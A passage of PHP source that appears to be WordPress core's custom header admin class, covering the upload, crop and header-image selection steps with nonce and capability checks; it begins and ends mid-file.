			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
		);
	}

	/**
	 * Gets the current step.
	 *
	 * @since 2.6.0
	 *
	 * @return int Current step.
	 */
	public function step() {
		if ( ! isset( $_GET['step'] ) ) {
			return 1;
		}

		$step = (int) $_GET['step'];
		if ( $step < 1 || 3 < $step ||
			( 2 === $step && ! wp_verify_nonce( $_REQUEST['_wpnonce-custom-header-upload'], 'custom-header-upload' ) ) ||
			( 3 === $step && ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'custom-header-crop-image' ) )
		) {
			return 1;
		}

		return $step;
	}

	/**
	 * Sets up the enqueue for the JavaScript files.
	 *
	 * @since 2.1.0
	 */
	public function js_includes() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) ) {
			wp_enqueue_media();
			wp_enqueue_script( 'custom-header' );
			if ( current_theme_supports( 'custom-header', 'header-text' ) ) {
				wp_enqueue_script( 'wp-color-picker' );
			}
		} elseif ( 2 === $step ) {
			wp_enqueue_script( 'imgareaselect' );
		}
	}

	/**
	 * Sets up the enqueue for the CSS files.
	 *
	 * @since 2.7.0
	 */
	public function css_includes() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) && current_theme_supports( 'custom-header', 'header-text' ) ) {
			wp_enqueue_style( 'wp-color-picker' );
		} elseif ( 2 === $step ) {
			wp_enqueue_style( 'imgareaselect' );
		}
	}

	/**
	 * Executes custom header modification.
	 *
	 * @since 2.6.0
	 */
	public function take_action() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return;
		}

		if ( empty( $_POST ) ) {
			return;
		}

		$this->updated = true;

		if ( isset( $_POST['resetheader'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->reset_header_image();

			return;
		}

		if ( isset( $_POST['removeheader'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->remove_header_image();

			return;
		}

		if ( isset( $_POST['text-color'] ) && ! isset( $_POST['display-header-text'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			set_theme_mod( 'header_textcolor', 'blank' );
		} elseif ( isset( $_POST['text-color'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$_POST['text-color'] = str_replace( '#', '', $_POST['text-color'] );

			$color = preg_replace( '/[^0-9a-fA-F]/', '', $_POST['text-color'] );

			if ( strlen( $color ) === 6 || strlen( $color ) === 3 ) {
				set_theme_mod( 'header_textcolor', $color );
			} elseif ( ! $color ) {
				set_theme_mod( 'header_textcolor', 'blank' );
			}
		}

		if ( isset( $_POST['default-header'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->set_header_image( $_POST['default-header'] );

			return;
		}
	}

	/**
	 * Processes the default headers.
	 *
	 * @since 3.0.0
	 *
	 * @global array $_wp_default_headers
	 */
	public function process_default_headers() {
		global $_wp_default_headers;

		if ( ! isset( $_wp_default_headers ) ) {
			return;
		}

		if ( ! empty( $this->default_headers ) ) {
			return;
		}

		$this->default_headers    = $_wp_default_headers;
		$template_directory_uri   = get_template_directory_uri();
		$stylesheet_directory_uri = get_stylesheet_directory_uri();

		foreach ( array_keys( $this->default_headers ) as $header ) {
			$this->default_headers[ $header ]['url'] = sprintf(
				$this->default_headers[ $header ]['url'],
				$template_directory_uri,
				$stylesheet_directory_uri
			);

			$this->default_headers[ $header ]['thumbnail_url'] = sprintf(
				$this->default_headers[ $header ]['thumbnail_url'],
				$template_directory_uri,
				$stylesheet_directory_uri
			);
		}
	}

	/**
	 * Displays UI for selecting one of several default headers.
	 *
	 * Shows the random image option if this theme has multiple header images.
	 * Random image option is on by default if no header has been set.
	 *
	 * @since 3.0.0
	 *
	 * @param string $type The header type. One of 'default' (for the Uploaded Images control)
	 *                     or 'uploaded' (for the Uploaded Images control).
	 */
	public function show_header_selector( $type = 'default' ) {
		if ( 'default' === $type ) {
			$headers = $this->default_headers;
		} else {
			$headers = get_uploaded_header_images();
			$type    = 'uploaded';
		}

		if ( 1 < count( $headers ) ) {
			echo '<div class="random-header">';
			echo '<label><input name="default-header" type="radio" value="random-' . $type . '-image"' . checked( is_random_header_image( $type ), true, false ) . ' />';
			_e( '<strong>Random:</strong> Show a different image on each page.' );
			echo '</label>';
			echo '</div>';
		}

		echo '<div class="available-headers">';

		foreach ( $headers as $header_key => $header ) {
			$header_thumbnail = $header['thumbnail_url'];
			$header_url       = $header['url'];
			$header_alt_text  = empty( $header['alt_text'] ) ? '' : $header['alt_text'];

			echo '<div class="default-header">';
			echo '<label><input name="default-header" type="radio" value="' . esc_attr( $header_key ) . '" ' . checked( $header_url, get_theme_mod( 'header_image' ), false ) . ' />';
			$width = '';
			if ( ! empty( $header['attachment_id'] ) ) {
				$width = ' width="230"';
			}
			echo '<img src="' . esc_url( set_url_scheme( $header_thumbnail ) ) . '" alt="' . esc_attr( $header_alt_text ) . '"' . $width . ' /></label>';
			echo '</div>';
		}

		echo '<div class="clear"></div></div>';
	}

	/**
	 * Executes JavaScript depending on step.
	 *
	 * @since 2.1.0
	 */
	public function js() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) && current_theme_supports( 'custom-header', 'header-text' ) ) {
			$this->js_1();
		} elseif ( 2 === $step ) {
			$this->js_2();
		}
	}

	/**
	 * Displays JavaScript based on Step 1 and 3.
	 *
	 * @since 2.6.0
	 */
	public function js_1() {
		$default_color = '';
		if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
			$default_color = get_theme_support( 'custom-header', 'default-text-color' );
			if ( $default_color && ! str_contains( $default_color, '#' ) ) {
				$default_color = '#' . $default_color;
			}
		}
		?>
<script type="text/javascript">
(function($){
	var default_color = '<?php echo esc_js( $default_color ); ?>',
		header_text_fields;

	function pickColor(color) {
		$('#name').css('color', color);
		$('#desc').css('color', color);
		$('#text-color').val(color);
	}

	function toggle_text() {
		var checked = $('#display-header-text').prop('checked'),
			text_color;
		header_text_fields.toggle( checked );
		if ( ! checked )
			return;
		text_color = $('#text-color');
		if ( '' === text_color.val().replace('#', '') ) {
			text_color.val( default_color );
			pickColor( default_color );
		} else {
			pickColor( text_color.val() );
		}
	}

	$( function() {
		var text_color = $('#text-color');
		header_text_fields = $('.displaying-header-text');
		text_color.wpColorPicker({
			change: function( event, ui ) {
				pickColor( text_color.wpColorPicker('color') );
			},
			clear: function() {
				pickColor( '' );
			}
		});
		$('#display-header-text').click( toggle_text );
		<?php if ( ! display_header_text() ) : ?>
		toggle_text();
		<?php endif; ?>
	} );
})(jQuery);
</script>
		<?php
	}

	/**
	 * Displays JavaScript based on Step 2.
	 *
	 * @since 2.6.0
	 */
	public function js_2() {

		?>
<script type="text/javascript">
	function onEndCrop( coords ) {
		jQuery( '#x1' ).val(coords.x);
		jQuery( '#y1' ).val(coords.y);
		jQuery( '#width' ).val(coords.w);
		jQuery( '#height' ).val(coords.h);
	}

	jQuery( function() {
		var xinit = <?php echo absint( get_theme_support( 'custom-header', 'width' ) ); ?>;
		var yinit = <?php echo absint( get_theme_support( 'custom-header', 'height' ) ); ?>;
		var ratio = xinit / yinit;
		var ximg = jQuery('img#upload').width();
		var yimg = jQuery('img#upload').height();

		if ( yimg < yinit || ximg < xinit ) {
			if ( ximg / yimg > ratio ) {
				yinit = yimg;
				xinit = yinit * ratio;
			} else {
				xinit = ximg;
				yinit = xinit / ratio;
			}
		}

		jQuery('img#upload').imgAreaSelect({
			handles: true,
			keys: true,
			show: true,
			x1: 0,
			y1: 0,
			x2: xinit,
			y2: yinit,
			<?php
			if ( ! current_theme_supports( 'custom-header', 'flex-height' )
				&& ! current_theme_supports( 'custom-header', 'flex-width' )
			) {
				?>
			aspectRatio: xinit + ':' + yinit,
				<?php
			}
			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
				?>
			maxHeight: <?php echo get_theme_support( 'custom-header', 'height' ); ?>,
				<?php
			}
			if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
				?>
			maxWidth: <?php echo get_theme_support( 'custom-header', 'width' ); ?>,
				<?php
			}
			?>
			onInit: function () {
				jQuery('#width').val(xinit);
				jQuery('#height').val(yinit);
			},
			onSelectChange: function(img, c) {
				jQuery('#x1').val(c.x1);
				jQuery('#y1').val(c.y1);
				jQuery('#width').val(c.width);
				jQuery('#height').val(c.height);
			}
		});
	} );
</script>
		<?php
	}

	/**
	 * Displays first step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function step_1() {
		$this->process_default_headers();
		?>

<div class="wrap">
<h1><?php _e( 'Custom Header' ); ?></h1>

		<?php
		if ( current_user_can( 'customize' ) ) {
			$message = sprintf(
				/* translators: %s: URL to header image configuration in Customizer. */
				__( 'You can now manage and live-preview Custom Header in the <a href="%s">Customizer</a>.' ),
				admin_url( 'customize.php?autofocus[control]=header_image' )
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'info',
					'additional_classes' => array( 'hide-if-no-customize' ),
				)
			);
		}

		if ( ! empty( $this->updated ) ) {
			$updated_message = sprintf(
				/* translators: %s: Home URL. */
				__( 'Header updated. <a href="%s">Visit your site</a> to see how it looks.' ),
				esc_url( home_url( '/' ) )
			);
			wp_admin_notice(
				$updated_message,
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
				)
			);
		}
		?>

<h2><?php _e( 'Header Image' ); ?></h2>

<table class="form-table" role="presentation">
<tbody>

		<?php if ( get_custom_header() || display_header_text() ) : ?>
<tr>
<th scope="row"><?php _e( 'Preview' ); ?></th>
<td>
			<?php
			if ( $this->admin_image_div_callback ) {
				call_user_func( $this->admin_image_div_callback );
			} else {
				$custom_header = get_custom_header();
				$header_image  = get_header_image();

				if ( $header_image ) {
					$header_image_style = 'background-image:url(' . esc_url( $header_image ) . ');';
				} else {
					$header_image_style = '';
				}

				if ( $custom_header->width ) {
					$header_image_style .= 'max-width:' . $custom_header->width . 'px;';
				}
				if ( $custom_header->height ) {
					$header_image_style .= 'height:' . $custom_header->height . 'px;';
				}
				?>
	<div id="headimg" style="<?php echo $header_image_style; ?>">
				<?php
				if ( display_header_text() ) {
					$style = ' style="color:#' . get_header_textcolor() . ';"';
				} else {
					$style = ' style="display:none;"';
				}
				?>
		<h1><a id="name" class="displaying-header-text" <?php echo $style; ?> onclick="return false;" href="<?php bloginfo( 'url' ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
		<div id="desc" class="displaying-header-text" <?php echo $style; ?>><?php bloginfo( 'description' ); ?></div>
	</div>
			<?php } ?>
</td>
</tr>
		<?php endif; ?>

		<?php if ( current_user_can( 'upload_files' ) && current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
<tr>
<th scope="row"><?php _e( 'Select Image' ); ?></th>
<td>
	<p><?php _e( 'You can select an image to be shown at the top of your site by uploading from your computer or choosing from your media library. After selecting an image you will be able to crop it.' ); ?><br />
			<?php
			if ( ! current_theme_supports( 'custom-header', 'flex-height' )
				&& ! current_theme_supports( 'custom-header', 'flex-width' )
			) {
				printf(
					/* translators: 1: Image width in pixels, 2: Image height in pixels. */
					__( 'Images of exactly <strong>%1$d &times; %2$d pixels</strong> will be used as-is.' ) . '<br />',
					get_theme_support( 'custom-header', 'width' ),
					get_theme_support( 'custom-header', 'height' )
				);
			} elseif ( current_theme_supports( 'custom-header', 'flex-height' ) ) {
				if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Images should be at least %s wide.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header width. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'width' )
						)
					);
				}
			} elseif ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
				if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Images should be at least %s tall.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header height. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'height' )
						)
					);
				}
			}

			if ( current_theme_supports( 'custom-header', 'flex-height' )
				|| current_theme_supports( 'custom-header', 'flex-width' )
			) {
				if ( current_theme_supports( 'custom-header', 'width' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Suggested width is %s.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header width. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'width' )
						)
					);
				}

				if ( current_theme_supports( 'custom-header', 'height' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Suggested height is %s.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header height. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'height' )
						)
					);
				}
			}
			?>
	</p>
	<form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post" action="<?php echo esc_url( add_query_arg( 'step', 2 ) ); ?>">
	<p>
		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
		<input type="file" id="upload" name="import" />
		<input type="hidden" name="action" value="save" />
			<?php wp_nonce_field( 'custom-header-upload', '_wpnonce-custom-header-upload' ); ?>
			<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
	</p>
			<?php
			$modal_update_href = add_query_arg(
				array(
					'page'                          => 'custom-header',
					'step'                          => 2,
					'_wpnonce-custom-header-upload' => wp_create_nonce( 'custom-header-upload' ),
				),
				admin_url( 'themes.php' )
			);
			?>
	<p>
		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
		<button id="choose-from-library-link" class="button"
			data-update-link="<?php echo esc_url( $modal_update_href ); ?>"
			data-choose="<?php esc_attr_e( 'Choose a Custom Header' ); ?>"
			data-update="<?php esc_attr_e( 'Set as header' ); ?>"><?php _e( 'Choose Image' ); ?></button>
	</p>
	</form>
</td>
</tr>
		<?php endif; ?>
</tbody>
</table>

<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 1 ) ); ?>">
		<?php submit_button( null, 'screen-reader-text', 'save-header-options', false ); ?>
<table class="form-table" role="presentation">
<tbody>
		<?php if ( get_uploaded_header_images() ) : ?>
<tr>
<th scope="row"><?php _e( 'Uploaded Images' ); ?></th>
<td>
	<p><?php _e( 'You can choose one of your previously uploaded headers, or show a random one.' ); ?></p>
			<?php
			$this->show_header_selector( 'uploaded' );
			?>
</td>
</tr>
			<?php
	endif;
		if ( ! empty( $this->default_headers ) ) :
			?>
<tr>
<th scope="row"><?php _e( 'Default Images' ); ?></th>
<td>
			<?php if ( current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
	<p><?php _e( 'If you do not want to upload your own image, you can use one of these cool headers, or show a random one.' ); ?></p>
	<?php else : ?>
	<p><?php _e( 'You can use one of these cool headers or show a random one on each page.' ); ?></p>
	<?php endif; ?>
			<?php
			$this->show_header_selector( 'default' );
			?>
</td>
</tr>
			<?php
	endif;
		if ( get_header_image() ) :
			?>
<tr>
<th scope="row"><?php _e( 'Remove Image' ); ?></th>
<td>
	<p><?php _e( 'This will remove the header image. You will not be able to restore any customizations.' ); ?></p>
			<?php submit_button( __( 'Remove Header Image' ), '', 'removeheader', false ); ?>
</td>
</tr>
			<?php
	endif;

		$default_image = sprintf(
			get_theme_support( 'custom-header', 'default-image' ),
			get_template_directory_uri(),
			get_stylesheet_directory_uri()
		);

		if ( $default_image && get_header_image() !== $default_image ) :
			?>
<tr>
<th scope="row"><?php _e( 'Reset Image' ); ?></th>
<td>
	<p><?php _e( 'This will restore the original header image. You will not be able to restore any customizations.' ); ?></p>
			<?php submit_button( __( 'Restore Original Header Image' ), '', 'resetheader', false ); ?>
</td>
</tr>
	<?php endif; ?>
</tbody>
</table>

		<?php if ( current_theme_supports( 'custom-header', 'header-text' ) ) : ?>

<h2><?php _e( 'Header Text' ); ?></h2>

<table class="form-table" role="presentation">
<tbody>
<tr>
<th scope="row"><?php _e( 'Header Text' ); ?></th>
<td>
	<p>
	<label><input type="checkbox" name="display-header-text" id="display-header-text"<?php checked( display_header_text() ); ?> /> <?php _e( 'Show header text with your image.' ); ?></label>
	</p>
</td>
</tr>

<tr class="displaying-header-text">
<th scope="row"><?php _e( 'Text Color' ); ?></th>
<td>
	<p>
			<?php
			$default_color = '';
			if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
				$default_color = get_theme_support( 'custom-header', 'default-text-color' );
				if ( $default_color && ! str_contains( $default_color, '#' ) ) {
					$default_color = '#' . $default_color;
				}
			}

			$default_color_attr = $default_color ? ' data-default-color="' . esc_attr( $default_color ) . '"' : '';

			$header_textcolor = display_header_text() ? get_header_textcolor() : get_theme_support( 'custom-header', 'default-text-color' );
			if ( $header_textcolor && ! str_contains( $header_textcolor, '#' ) ) {
				$header_textcolor = '#' . $header_textcolor;
			}

			echo '<input type="text" name="text-color" id="text-color" value="' . esc_attr( $header_textcolor ) . '"' . $default_color_attr . ' />';
			if ( $default_color ) {
				/* translators: %s: Default text color. */
				echo ' <span class="description hide-if-js">' . sprintf( _x( 'Default: %s', 'color' ), esc_html( $default_color ) ) . '</span>';
			}
			?>
	</p>
</td>
</tr>
</tbody>
</table>
			<?php
endif;

		/**
		 * Fires just before the submit button in the custom header options form.
		 *
		 * @since 3.1.0
		 */
		do_action( 'custom_header_options' );

		wp_nonce_field( 'custom-header-options', '_wpnonce-custom-header-options' );
		?>

		<?php submit_button( null, 'primary', 'save-header-options' ); ?>
</form>
</div>

		<?php
	}

	/**
	 * Displays second step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function step_2() {
		check_admin_referer( 'custom-header-upload', '_wpnonce-custom-header-upload' );

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support uploading a custom header image.' ) . '</p>',
				403
			);
		}

		if ( empty( $_POST ) && isset( $_GET['file'] ) ) {
			$attachment_id = absint( $_GET['file'] );
			$file          = get_attached_file( $attachment_id, true );
			$url           = wp_get_attachment_image_src( $attachment_id, 'full' );
			$url           = $url[0];
		} elseif ( isset( $_POST ) ) {
			$data          = $this->step_2_manage_upload();
			$attachment_id = $data['attachment_id'];
			$file          = $data['file'];
			$url           = $data['url'];
		}

		if ( file_exists( $file ) ) {
			list( $width, $height, $type, $attr ) = wp_getimagesize( $file );
		} else {
			$data   = wp_get_attachment_metadata( $attachment_id );
			$height = isset( $data['height'] ) ? (int) $data['height'] : 0;
			$width  = isset( $data['width'] ) ? (int) $data['width'] : 0;
			unset( $data );
		}

		$max_width = 0;

		// For flex, limit size of image displayed to 1500px unless theme says otherwise.
		if ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
			$max_width = 1500;
		}

		if ( current_theme_supports( 'custom-header', 'max-width' ) ) {
			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
		}

		$max_width = max( $max_width, get_theme_support( 'custom-header', 'width' ) );

		// If flexible height isn't supported and the image is the exact right size.
		if ( ! current_theme_supports( 'custom-header', 'flex-height' )
			&& ! current_theme_supports( 'custom-header', 'flex-width' )
			&& (int) get_theme_support( 'custom-header', 'width' ) === $width
			&& (int) get_theme_support( 'custom-header', 'height' ) === $height
		) {
			// Add the metadata.
			if ( file_exists( $file ) ) {
				wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
			}

			$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );

			/**
			 * Filters the attachment file path after the custom header or background image is set.
			 *
			 * Used for file replication.
			 *
			 * @since 2.1.0
			 *
			 * @param string $file          Path to the file.
			 * @param int    $attachment_id Attachment ID.
			 */
			$file = apply_filters( 'wp_create_file_in_uploads', $file, $attachment_id ); // For replication.

			return $this->finished();
		} elseif ( $width > $max_width ) {
			$oitar = $width / $max_width;

			$image = wp_crop_image(
				$attachment_id,
				0,
				0,
				$width,
				$height,
				$max_width,
				$height / $oitar,
				false,
				str_replace( wp_basename( $file ), 'midsize-' . wp_basename( $file ), $file )
			);

			if ( ! $image || is_wp_error( $image ) ) {
				wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
			}

			/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$image = apply_filters( 'wp_create_file_in_uploads', $image, $attachment_id ); // For replication.

			$url    = str_replace( wp_basename( $url ), wp_basename( $image ), $url );
			$width  = $width / $oitar;
			$height = $height / $oitar;
		} else {
			$oitar = 1;
		}
		?>

<div class="wrap">
<h1><?php _e( 'Crop Header Image' ); ?></h1>

<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 3 ) ); ?>">
	<p class="hide-if-no-js"><?php _e( 'Choose the part of the image you want to use as your header.' ); ?></p>
	<p class="hide-if-js"><strong><?php _e( 'You need JavaScript to choose a part of the image.' ); ?></strong></p>

	<div id="crop_image" style="position: relative">
		<img src="<?php echo esc_url( $url ); ?>" id="upload" width="<?php echo esc_attr( $width ); ?>" height="<?php echo esc_attr( $height ); ?>" alt="" />
	</div>

	<input type="hidden" name="x1" id="x1" value="0" />
	<input type="hidden" name="y1" id="y1" value="0" />
	<input type="hidden" name="width" id="width" value="<?php echo esc_attr( $width ); ?>" />
	<input type="hidden" name="height" id="height" value="<?php echo esc_attr( $height ); ?>" />
	<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr( $attachment_id ); ?>" />
	<input type="hidden" name="oitar" id="oitar" value="<?php echo esc_attr( $oitar ); ?>" />
		<?php if ( empty( $_POST ) && isset( $_GET['file'] ) ) { ?>
	<input type="hidden" name="create-new-attachment" value="true" />
	<?php } ?>
		<?php wp_nonce_field( 'custom-header-crop-image' ); ?>

	<p class="submit">
		<?php submit_button( __( 'Crop and Publish' ), 'primary', 'submit', false ); ?>
		<?php
		if ( isset( $oitar ) && 1 === $oitar
			&& ( current_theme_supports( 'custom-header', 'flex-height' )
				|| current_theme_supports( 'custom-header', 'flex-width' ) )
		) {
			submit_button( __( 'Skip Cropping, Publish Image as Is' ), '', 'skip-cropping', false );
		}
		?>
	</p>
</form>
</div>
		<?php
	}


	/**
	 * Uploads the file to be cropped in the second step.
	 *
	 * @since 3.4.0
	 */
	public function step_2_manage_upload() {
		$overrides = array( 'test_form' => false );

		$uploaded_file = $_FILES['import'];
		$wp_filetype   = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );

		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
		}

		$file = wp_handle_upload( $uploaded_file, $overrides );

		if ( isset( $file['error'] ) ) {
			wp_die( $file['error'], __( 'Image Upload Error' ) );
		}

		$url      = $file['url'];
		$type     = $file['type'];
		$file     = $file['file'];
		$filename = wp_basename( $file );

		// Construct the attachment array.
		$attachment = array(
			'post_title'     => $filename,
			'post_content'   => $url,
			'post_mime_type' => $type,
			'guid'           => $url,
			'context'        => 'custom-header',
		);

		// Save the data.
		$attachment_id = wp_insert_attachment( $attachment, $file );

		return compact( 'attachment_id', 'file', 'filename', 'url', 'type' );
	}

	/**
	 * Displays third step of custom header image page.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Switched to using wp_get_attachment_url() instead of the guid
	 *              for retrieving the header image URL.
	 */
	public function step_3() {
		check_admin_referer( 'custom-header-crop-image' );

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support uploading a custom header image.' ) . '</p>',
				403
			);
		}

		if ( ! empty( $_POST['skip-cropping'] )
			&& ! current_theme_supports( 'custom-header', 'flex-height' )
			&& ! current_theme_supports( 'custom-header', 'flex-width' )
		) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support a flexible sized header image.' ) . '</p>',
				403
			);
		}

		if ( $_POST['oitar'] > 1 ) {
			$_POST['x1']     = $_POST['x1'] * $_POST['oitar'];
			$_POST['y1']     = $_POST['y1'] * $_POST['oitar'];
			$_POST['width']  = $_POST['width'] * $_POST['oitar'];
			$_POST['height'] = $_POST['height'] * $_POST['oitar'];
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		$original      = get_attached_file( $attachment_id );

		$dimensions = $this->get_header_dimensions(
			array(
				'height' => $_POST['height'],
				'width'  => $_POST['width'],
			)
		);
		$height     = $dimensions['dst_height'];
		$width      = $dimensions['dst_width'];

		if ( empty( $_POST['skip-cropping'] ) ) {
			$cropped = wp_crop_image(
				$attachment_id,
				(int) $_POST['x1'],
				(int) $_POST['y1'],
				(int) $_POST['width'],
				(int) $_POST['height'],
				$width,
				$height
			);
		} elseif ( ! empty( $_POST['create-new-attachment'] ) ) {
			$cropped = _copy_image_file( $attachment_id );
		} else {
			$cropped = get_attached_file( $attachment_id );
		}

		if ( ! $cropped || is_wp_error( $cropped ) ) {
			wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
		}

		/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

		$attachment = wp_copy_parent_attachment_properties( $cropped, $attachment_id, 'custom-header' );

		if ( ! empty( $_POST['create-new-attachment'] ) ) {
			unset( $attachment['ID'] );
		}

		// Update the attachment.
		$attachment_id = $this->insert_attachment( $attachment, $cropped );

		$url = wp_get_attachment_url( $attachment_id );
		$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );

		// Cleanup.
		$medium = str_replace( wp_basename( $original ), 'midsize-' . wp_basename( $original ), $original );
		if ( file_exists( $medium ) ) {
			wp_delete_file( $medium );
		}

		if ( empty( $_POST['create-new-attachment'] ) && empty( $_POST['skip-cropping'] ) ) {
			wp_delete_file( $original );
		}

		return $this->finished();
	}

	/**
	 * Displays last step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function finished() {
		$this->updated = true;
		$this->step_1();
	}

	/**
	 * Displays the page based on the current step.
	 *
	 * @since 2.1.0
	 */
	public function admin_page() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_die( __( 'Sorry, you are not allowed to customize headers.' ) );
		}

		$step = $this->step();

		if ( 2 === $step ) {
			$this->step_2();
		} elseif ( 3 === $step ) {
			$this->step_3();
		} else {
			$this->step_1();
		}
	}

	/**
	 * Unused since 3.5.0.
	 *
	 * @since 3.4.0
	 *
	 * @param array $form_fields
	 * @return array $form_fields
	 */
	public function attachment_fields_to_edit( $form_fields ) {
		return $form_fields;
	}

	/**
	 * Unused since 3.5.0.
	 *
	 * @since 3.4.0
	 *
	 * @param array $tabs
	 * @return array $tabs
	 */
	public function filter_upload_tabs( $tabs ) {
		return $tabs;
	}

	/**
	 * Chooses a header image, selected from existing uploaded and default headers,
	 * or provides an array of uploaded header data (either new, or from media library).
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $choice Which header image to select. Allows for values of 'random-default-image',
	 *                      for randomly cycling among the default images; 'random-uploaded-image',
	 *                      for randomly cycling among the uploaded images; the key of a default image
	 *                      registered for that theme; and the key of an image uploaded for that theme
	 *                      (the attachment ID of the image). Or an array of arguments: attachment_id,
	 *                      url, width, height. All are required.
	 */
	final public function set_header_image( $choice ) {
		if ( is_array( $choice ) || is_object( $choice ) ) {
			$choice = (array) $choice;

			if ( ! isset( $choice['attachment_id'] ) || ! isset( $choice['url'] ) ) {
				return;
			}

			$choice['url'] = sanitize_url( $choice['url'] );

			$header_image_data = (object) array(
				'attachment_id' => $choice['attachment_id'],
				'url'           => $choice['url'],
				'thumbnail_url' => $choice['url'],
				'height'        => $choice['height'],
				'width'         => $choice['width'],
			);

			update_post_meta( $choice['attachment_id'], '_wp_attachment_is_custom_header', get_stylesheet() );

			set_theme_mod( 'header_image', $choice['url'] );
			set_theme_mod( 'header_image_data', $header_image_data );

			return;
		}

		if ( in_array( $choice, array( 'remove-header', 'random-default-image', 'random-uploaded-image' ), true ) ) {
			set_theme_mod( 'header_image', $choice );
			remove_theme_mod( 'header_image_data' );

			return;
		}

		$uploaded = get_uploaded_header_images();

		if ( $uploaded && isset( $uploaded[ $choice ] ) ) {
			$header_image_data = $uploaded[ $choice ];
		} else {
			$this->process_default_headers();
			if ( isset( $this->default_headers[ $choice ] ) ) {
				$header_image_data = $this->default_headers[ $choice ];
			} else {
				return;
			}
		}

		set_theme_mod( 'header_image', sanitize_url( $header_image_data['url'] ) );
		set_theme_mod( 'header_image_data', $header_image_data );
	}

	/**
	 * Removes a header image.
	 *
	 * @since 3.4.0
	 */
	final public function remove_header_image() {
		$this->set_header_image( 'remove-header' );
	}

	/**
	 * Resets a header image to the default image for the theme.
	 *
	 * This method does not do anything if the theme does not have a default header image.
	 *
	 * @since 3.4.0
	 */
	final public function reset_header_image() {
		$this->process_default_headers();
		$default = get_theme_support( 'custom-header', 'default-image' );

		if ( ! $default ) {
			$this->remove_header_image();
			return;
		}

		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );

		$default_data = array();
		foreach ( $this->default_headers as $header => $details ) {
			if ( $details['url'] === $default ) {
				$default_data = $details;
				break;
			}
		}

		set_theme_mod( 'header_image', $default );
		set_theme_mod( 'header_image_data', (object) $default_data );
	}

	/**
	 * Calculates width and height based on what the currently selected theme supports.
	 *
	 * @since 3.9.0
	 *
	 * @param array $dimensions
	 * @return array dst_height and dst_width of header image.
	 */
	final public function get_header_dimensions( $dimensions ) {
		$max_width       = 0;
		$width           = absint( $dimensions['width'] );
		$height          = absint( $dimensions['height'] );
